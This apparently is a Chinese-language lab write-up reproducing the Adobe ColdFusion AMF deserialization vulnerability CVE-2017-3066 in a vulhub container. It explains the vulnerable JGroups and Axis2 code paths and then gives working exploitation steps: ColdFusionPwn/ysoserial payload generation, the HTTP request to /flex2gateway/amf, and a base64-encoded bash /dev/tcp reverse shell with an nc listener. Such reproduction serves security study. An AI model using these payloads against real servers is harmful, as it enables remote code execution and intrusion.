0%

AdobeColdFusion 反序列化漏洞(CVE-2017-3066)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Adobe ColdFusion是漂亮国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。

参考:https://www.wangan.com/docs/291


影响版本


Adobe ColdFusion (2016 release) Update 3及之前的版本;

Adobe ColdFusion 11 Update 11及之前的版本;

Adobe ColdFusion 10 Update 22及之前的版本。


FOFA语句

1

环境搭建

docker搭建

1
2
cd /root/vulhub/coldfusion/CVE-2017-3066
docker-compose build && docker-compose up -d

漏洞复现

漏洞原理

白名单问题

最常规的利用思路来自Adobe ColdFusion的白名单问题。

Adobe ColdFusion(指定存在漏洞的版本)没有采用可信类的白名单机制,这意味着只要某个类位于Adobe ColdFusion的类路径(classpath),且符合Java Beans规范或者实现了java.io.Externalizable,就可以发送到服务器进行反序列化。

实现了java.io.Externalizable接口的JRE类(sun.rmi.server.UnicastRef2sun.rmi.server.UnicastRef)会在AMF3反序列化过程中触发一个TCP出站连接(可被利用作反弹Shell)。当成功连接了攻击者的服务器后,程序会使用Java原生的反序列化方法ObjectInputStream.readObject()来反序列化服务器的响应数据。结合Java原生反序列化和AMF反序列化让许多通用马在此场景得以应用。

Setter问题

公开的Setter方法是Java Beans规范的一部分。

按照Code White GmbH (github.com)组织里大佬的做法,用Eclipse建立项目,将Adobe ColdFusion 12的所有jar包以外部库形式导入,进一步查看Java原生反序列化方法ObjectInputStream.readObject()的调用情况,打开”Call Hierarchy“。Eclipse支持在没有源代码的前提下根据现有类信息构造函数调用图(巨大)。

根据大佬的审计结果,在org.jgroups.blocks.ReplicatedTree类的setState(byte[] new_state)方法存在问题。

image-20211112095405925

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*      */ public void setState(byte[] new_state) /*      */ {
/* 597 */ Node new_root = null;
/* */ /* */ /* 600 */ if (new_state == null) {
/* 601 */ if (log.isInfoEnabled()) log.info("new cache is null");
/* 602 */ return;
/* */ }
/* */ try {
/* 605 */ Object obj = Util.objectFromByteBuffer(new_state);
/* 606 */ new_root = (Node)((Node)obj).clone();
/* 607 */ root = new_root;
/* 608 */ notifyAllNodesCreated(root);
/* */ }
/* */ catch (Throwable ex) {
/* 611 */ if (log.isErrorEnabled()) { log.error("could not set cache: " + ex);
/* */ }
/* */ }
/* */ }

根据函数调用图,该调用链的最后一个节点是调用ObjectInputStream.readObject()

传递给setState()byte[]参数在0x0偏移处有一个额外字节0x2,见org.jgroups.util.Util类的364行开始的代码,向下执行了一个switch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*      */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception
/* */ {
/* 358 */ if (buffer == null) return null;
/* 359 */ if (JGROUPS_COMPAT)
/* 360 */ return oldObjectFromByteBuffer(buffer, offset, length);
/* 361 */ Object retval = null;
/* 362 */ InputStream in = null;
/* 363 */ ByteArrayInputStream in_stream = new ByteArrayInputStream(buffer, offset, length);
/* 364 */ byte b = (byte)in_stream.read();
/* */ try {
/* */ int len;
/* 367 */ switch (b) {
/* */ case 0:
/* 369 */ return null;
/* */ case 1:
/* 371 */ in = new DataInputStream(in_stream);
/* 372 */ retval = readGenericStreamable((DataInputStream)in);
/* 373 */ break;
/* */ case 2:
/* 375 */ in = new ObjectInputStream(in_stream);
/* 376 */ retval = ((ObjectInputStream)in).readObject();
/* */ //... /* */ }
/* */ }
/* */ }

具体POC可用大佬制作的codewhitesec/ColdFusionPwn: Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12 (github.com)生成。

此漏洞利用方法要求必须是Adobe ColdFusion 12,且开启JGroups。

Externalizable问题

另有一种利用思路来自org.apache.axis2.util.MetaDataEntry类的readExternal方法。

image-20211112095721955

在代码的297行,程序会调用SafeObjectInputStream.install(inObject)方法:

1
2
3
4
5
6
/*     */ public static SafeObjectInputStream install(ObjectInput in) /*     */ {
/* 62 */ if ((in instanceof SafeObjectInputStream)) {
/* 63 */ return (SafeObjectInputStream)in;
/* */ }
/* 65 */ return new SafeObjectInputStream(in) ;
/* */ }

这个函数中,AMF3Input实例属于org.apache.axis2.context.externalize.SafeObjectInputStream类的一个实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*     */ private Object readObjectOverride() /*     */ throws IOException, ClassNotFoundException
/* */ {
/* 318 */ boolean isActive = in.readBoolean();
/* 319 */ if (!isActive) {
/* 320 */ if (isDebug) {
/* 321 */ log.debug("Read object=null");
/* */ }
/* 323 */ return null;
/* */ }
/* 325 */ Object obj = null;
/* 326 */ boolean isObjectForm = in.readBoolean();
/* 327 */ if (isObjectForm)
/* */ {
/* 329 */ if (isDebug) {
/* 330 */ log.debug(" reading using object form");
/* */ }
/* 332 */ obj = in.readObject();
/* */ } else {
/* 334 */ if (isDebug) {
/* 335 */ log.debug(" reading using byte form");
/* */ }
/* */ /* 338 */ ByteArrayInputStream bais = getByteStream(in);
/* */ /* */ /* 341 */ ObjectInputStream tempOIS = createObjectInputStream(bais);
/* 342 */ obj = tempOIS.readObject();
/* 343 */ tempOIS.close();
/* 344 */ bais.close();
/* */ }
/* */ //... /* */ }

第341行创建了org.apache.axis2.context.externalize.ObjectInputStreamWithCL的新实例,这个类是扩展(extend)了标准java.io.ObjectInputStream类的。在342行实现了readObject()方法的调用。

同样可以利用大佬的工具生成POC,且对Adobe ColdFusion 11/12同时生效。

漏洞利用

使用ColdFusionPwn工具来生成POC(这里已经打包好了,poc需要下载ysoserial)。

image-20211112094939207

命令执行

生成payload,执行文件创建命令。在kali中执行;

1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/CVE-2017-3066_is_success' poc.ser

生成poc.ser文件后,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf。使用burp抓包拦截:

1
2
3
4
5
6
7
8
9
10
11
POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

右击选择Paste From File,上传poc.ser文件;

image-20211112100839494

进入容器检验POC是否成功;

1
2
docker exec -it 容器ID /bin/bash
ls /tmp/

image-20211112100953464

反弹shell

反弹shell格式:

1
bash -i >& /dev/tcp/ip/port 0>&1

使用bash编码的payload,点击jackson-t.ca生成;

image-20211112101336003

kali生成poc.ser文件,将命令内容替换为反弹shell的命令,执行;

1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xMzgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}' poc.ser

kali机器上nc监听;

1
nc -lvvp 2333

以同样burp抓包拦截的方式将payload发送;

image-20211112101856930

查看容器的进程状态;

image-20211112102004304

欢迎关注我的其它发布渠道